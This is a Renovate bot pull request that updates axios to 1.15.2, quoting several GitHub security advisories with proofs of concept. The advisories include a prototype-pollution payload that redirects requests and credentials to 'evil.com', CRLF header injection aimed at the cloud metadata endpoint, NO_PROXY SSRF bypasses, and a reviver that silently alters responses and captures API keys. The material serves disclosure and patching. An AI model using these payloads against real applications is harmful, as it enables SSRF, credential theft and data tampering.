Update dependency axios to v1.15.2 [SECURITY] by renovate[bot] · Pull Request #4605 · smartcontractkit/external-adapters-js

renovate · 2026-02-09T20:53:38Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`1.13.4` → `1.15.2`
axios (source)	`1.13.5` → `1.15.2`

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Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific gadget-style attack chain in which prototype pollution in a third-party dependency may be leveraged to inject unsanitized header values into outbound requests.

Axios can be used as a gadget after pollution occurs elsewhere because header values merged from attacker-controlled prototype properties are not sanitized for CRLF (\r\n) characters before being written to the request. In affected deployments, this may enable limited request manipulation or metadata access as part of a higher-complexity exploit chain.

Severity: Moderate (CVSS 3.1 Base Score: 4.8)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This issue requires a separate prototype pollution vulnerability in another library in the application stack (for example, qs, minimist, ini, or body-parser). If an attacker can pollute Object.prototype, Axios may pick up the polluted properties during config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property can alter the structure of an outbound HTTP request.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = \"dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore\";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact

In environments where requests can reach cloud metadata endpoints or sensitive internal services, the injected header content may help bypass expected request constraints and expose limited credentials or modify request semantics. This impact depends on application context and a separate prototype-pollution primitive.

Impact Analysis

Confidentiality: May expose limited sensitive information in affected network environments.
Integrity: May allow modification of outbound request structure or injected headers.
Attack Complexity: Exploitation requires a separate prototype-pollution vulnerability and a reachable target service.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

CVE-2026-42040 / GHSA-xhjh-pmcv-23jw

More information

Details

Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams

Summary

The encode() function in lib/helpers/AxiosURLSearchParams.js contains a character mapping (charMap) at line 21 that reverses the safe percent-encoding of null bytes. After encodeURIComponent('\x00') correctly produces the safe sequence %00, the charMap entry '%00': '\x00' converts it back to a raw null byte.

This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction.

Severity: Low (CVSS 3.7)
Affected Versions: All versions containing this charMap entry
Vulnerable Component: lib/helpers/AxiosURLSearchParams.js:21

CWE

CWE-626: Null Byte Interaction Error (Poison Null Byte)
CWE-116: Improper Encoding or Escaping of Output

CVSS 3.1

Score: 3.7 (Low)

Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

Metric	Value	Justification
Attack Vector	Network	Attacker controls input parameters remotely
Attack Complexity	High	Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact limited to HTTP request URL
Confidentiality	None	No confidentiality impact
Integrity	Low	Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser
Availability	None	No availability impact

Vulnerable Code

File: lib/helpers/AxiosURLSearchParams.js, lines 13-26

function encode(str) {
  const charMap = {
    '!': '%21',     // literal → encoded (SAFE direction)
    "'": '%27',     // literal → encoded (SAFE direction)
    '(': '%28',     // literal → encoded (SAFE direction)
    ')': '%29',     // literal → encoded (SAFE direction)
    '~': '%7E',     // literal → encoded (SAFE direction)
    '%20': '+',     // standard transformation (SAFE)
    '%00': '\x00',  // LINE 21: encoded → raw null byte (UNSAFE direction!)
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

Why the Standard Flow Is NOT Affected

// buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's
const _encode = (options && options.encode) || encode;  // buildURL's encode

// buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams
new AxiosURLSearchParams(params, _options).toString(_encode);  // external encoder used

// AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used
const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode;
//                                                                              ^^^^^^
//                                           internal encode passed as 2nd arg but only used if
//                                           the external encoder explicitly delegates to it

Proof of Concept

import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js';
import buildURL from './lib/helpers/buildURL.js';

// Test 1: Direct AxiosURLSearchParams (VULNERABLE path)
const params = new AxiosURLSearchParams({ file: 'test\x00.txt' });
const result = params.toString();  // NO encoder → uses internal encode with charMap
console.log('Direct toString():', JSON.stringify(result));
// Output: "file=test\u0000.txt" (contains raw null byte)
console.log('Hex:', Buffer.from(result).toString('hex'));
// Output: 66696c653d74657374002e747874  (00 = null byte)

// Test 2: Via buildURL (NOT vulnerable — standard axios flow)
const url = buildURL('http://example.com/api', { file: 'test\x00.txt' });
console.log('Via buildURL:', url);
// Output: http://example.com/api?file=test%00.txt  (%00 preserved safely)

Verified PoC Output

Direct toString(): "file=test\u0000.txt"
Contains raw null byte: true
Hex: 66696c653d74657374002e747874

Via buildURL: http://example.com/api?file=test%00.txt
Contains raw null byte: false
Contains safe %00: true

Impact Analysis

Primary impact is limited because the standard axios request flow is not affected. However:

Direct API users: Applications using AxiosURLSearchParams directly for custom serialization are affected
Custom paramsSerializer: A paramsSerializer.encode that delegates to the internal encoder triggers the bug
Code defect signal: The directional inconsistency in charMap is a clear coding error with no legitimate use case

If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection.

Recommended Fix

Remove the %00 entry from charMap and update the regex:

function encode(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    // REMOVED: '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) {
    //                                           ^^^^ removed |%00
    return charMap[match];
  });
}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-16	Report revised: documented standard-flow limitation, corrected CVSS
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 3.7 / 10 (Low)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking

CVE-2026-42264 / GHSA-q8qp-cvcw-x6jj

More information

Details

Summary

Five config properties in the HTTP adapter are read via direct property access without hasOwnProperty guards, making them exploitable as prototype pollution gadgets. When Object.prototype is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

Affected Properties

config.auth (lib/adapters/http.js line 617) Injects attacker-controlled Authorization header on all requests.
config.baseURL (lib/helpers/resolveConfig.js line 18) Redirects all requests using relative URLs to an attacker-controlled server.
config.socketPath (lib/adapters/http.js line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
config.beforeRedirect (lib/adapters/http.js line 698) Executes attacker-supplied callback during HTTP redirects.
config.insecureHTTPParser (lib/adapters/http.js line 712) Enables Node.js insecure HTTP parser on all requests.

Proof of Concept

const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials

Impact

Credential injection: Every axios request includes an attacker-controlled Authorization header, leaking request contents to any server that logs auth headers.
Request hijacking: All requests using relative URLs are silently redirected to an attacker-controlled server.
SSRF: Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
Code execution: Attacker-supplied functions execute during HTTP redirects.
Parser weakening: Insecure HTTP parser enabled on all requests, enabling request smuggling.

Root Cause

mergeConfig() iterates Object.keys({...config1, ...config2}), which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (config.auth, config.socketPath, etc.), which traverses the prototype chain and picks up polluted values.

The own() helper at lib/adapters/http.js line 336 exists and guards 8 other properties (data, lookup, family, httpVersion, http2Options, responseType, responseEncoding, transport) from this exact attack. The 5 properties listed above are not included in this protection.

Suggested Fix

Apply the existing own() helper to all affected properties:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

Same pattern for socketPath, beforeRedirect, insecureHTTPParser, and a hasOwnProperty check for baseURL in resolveConfig.js.

Severity

CVSS Score: 7.4 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

CVE-2026-42044 / GHSA-3w6x-2g7m-8v23

More information

Details

Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass.

The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is strictly more powerful than the transformResponse gadget because:

No constraints — the reviver can return any value (no "must return true" requirement)
Selective modification — individual JSON keys can be changed while others remain untouched
Invisible — the response structure and most values look completely normal
Simultaneous exfiltration — the reviver sees the original values before modification

Severity: Critical (CVSS 9.1)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/defaults/index.js:124 (JSON.parse with prototype-inherited reviver)

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes

CVSS 3.1

Score: 9.1 (Critical)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely via any vulnerable dependency
Attack Complexity	Low	Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Within the application process
Confidentiality	High	The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured
Integrity	High	Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values
Availability	None	No crash, no error — the attack is entirely silent

Comparison with All Known Axios PP Gadgets

Factor	GHSA-fvcv-3m26-pcqx (Header Injection)	transformResponse	proxy (MITM)	parseReviver (This)
PP target	`Object.prototype['header']`	`Object.prototype.transformResponse`	`Object.prototype.proxy`	`Object.prototype.parseReviver`
Fixed by 1.15.0?	Yes	No	No	No
Constraints	N/A (fixed)	Must return `true`	None	None
Data modification	Header injection only	Response replaced with `true`	Full MITM	Selective per-key modification
Stealth	Request anomaly visible	Response becomes `true` (obvious)	Proxy visible in network	Completely invisible
Data access	Headers only	`this.auth` + raw response	All traffic	Every JSON key-value pair
Validated?	N/A	`assertOptions` validates	Not validated	Not validated
In defaults?	N/A	Yes → goes through mergeConfig	No → bypasses mergeConfig	No → bypasses mergeConfig

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, lodash, body-parser), the polluted parseReviver function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

Root Cause Analysis

The Attack Path

Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response

Why `parseReviver` Bypasses ALL Existing Protections

Not in defaults (lib/defaults/index.js): parseReviver is not defined in the defaults object, so mergeConfig's Object.keys({...defaults, ...userConfig}) iteration never encounters it. The merged config has no own parseReviver property.
Not in assertOptions schema (lib/core/Axios.js:135-142): The schema only contains {baseUrl, withXsrfToken}. parseReviver is not validated.
No type check: The JSON.parse API accepts any function as a reviver. There is no check that this.parseReviver is intentionally set.
Works INSIDE the default transform: Unlike transformResponse pollution (which replaces the entire transform and is caught by assertOptions), parseReviver pollution injects into the DEFAULT transformResponse function's JSON.parse call. The default function itself is not replaced, so assertOptions has nothing to catch.

Vulnerable Code

File: lib/defaults/index.js, line 124

transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],

Proof of Concept

import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();

Verified PoC Output

[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse

Impact Analysis

1. Authorization / Privilege Escalation

// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user

2. Financial Manipulation

// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected

3. Security Control Bypass

// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account

4. Silent Data Exfiltration

The reviver function receives the original value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

5. Universal and Invisible

Affects every Axios request that receives a JSON response
The response structure is intact — only specific values are changed
No errors, no crashes, no suspicious behavior
Application logs show normal-looking API responses with tampered values

Recommended Fix

Fix 1: Use `hasOwnProperty` check before using `parseReviver`

// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Fix 2: Use null-prototype config object

// In lib/core/mergeConfig.js
const config = Object.create(null);

Fix 3: Validate `parseReviver` type and source

// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);

Relationship to Other Reported Gadgets

This vulnerability shares the same root cause class — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

Report	PP Target	Code Location	Fix Location	Impact
axios_26	`transformResponse`	`mergeConfig.js:49` (defaultToConfig2)	`mergeConfig.js`	Credential theft, response replaced with `true`
axios_30	`proxy`	`http.js:670` (direct property access)	`http.js`	Full MITM, traffic interception
axios_31 (this)	`parseReviver`	`defaults/index.js:124` (this.parseReviver)	`defaults/index.js`	Selective JSON value tampering + data exfiltration

Why These Are Distinct Vulnerabilities

Different polluted properties: Each targets a different Object.prototype key.
Different code paths: transformResponse enters via mergeConfig; proxy is read directly by http.js; parseReviver is read inside the default transformResponse function's JSON.parse call.
Different fix locations: Fixing mergeConfig.js (axios_26) does NOT fix defaults/index.js:124 (this vulnerability). Fixing http.js:670 (axios_30) does NOT fix this either. Each requires a separate patch.
Different impact profiles: transformResponse is constrained to return true; proxy requires a proxy server; parseReviver enables constraint-free selective value modification.

Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use null-prototype objects (Object.create(null)) for the merged config in mergeConfig.js, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

Resources

Timeline

Date	Event
2026-04-16	Vulnerability discovered during source code audit
2026-04-16	PoC developed and verified — selective response tampering confirmed
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7

More information

Details

1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification
This bypass has been independently verified on:

Axios version: 1.15.0 (latest patched release)
Node.js version: v22.16.0
OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location

Field	Detail
File	lib/helpers/shouldBypassProxy.js
Primary Flaw	isLoopback() — Line 1–3
Supporting Function	shouldBypassProxy() — Line 59–110
Axios Version	1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
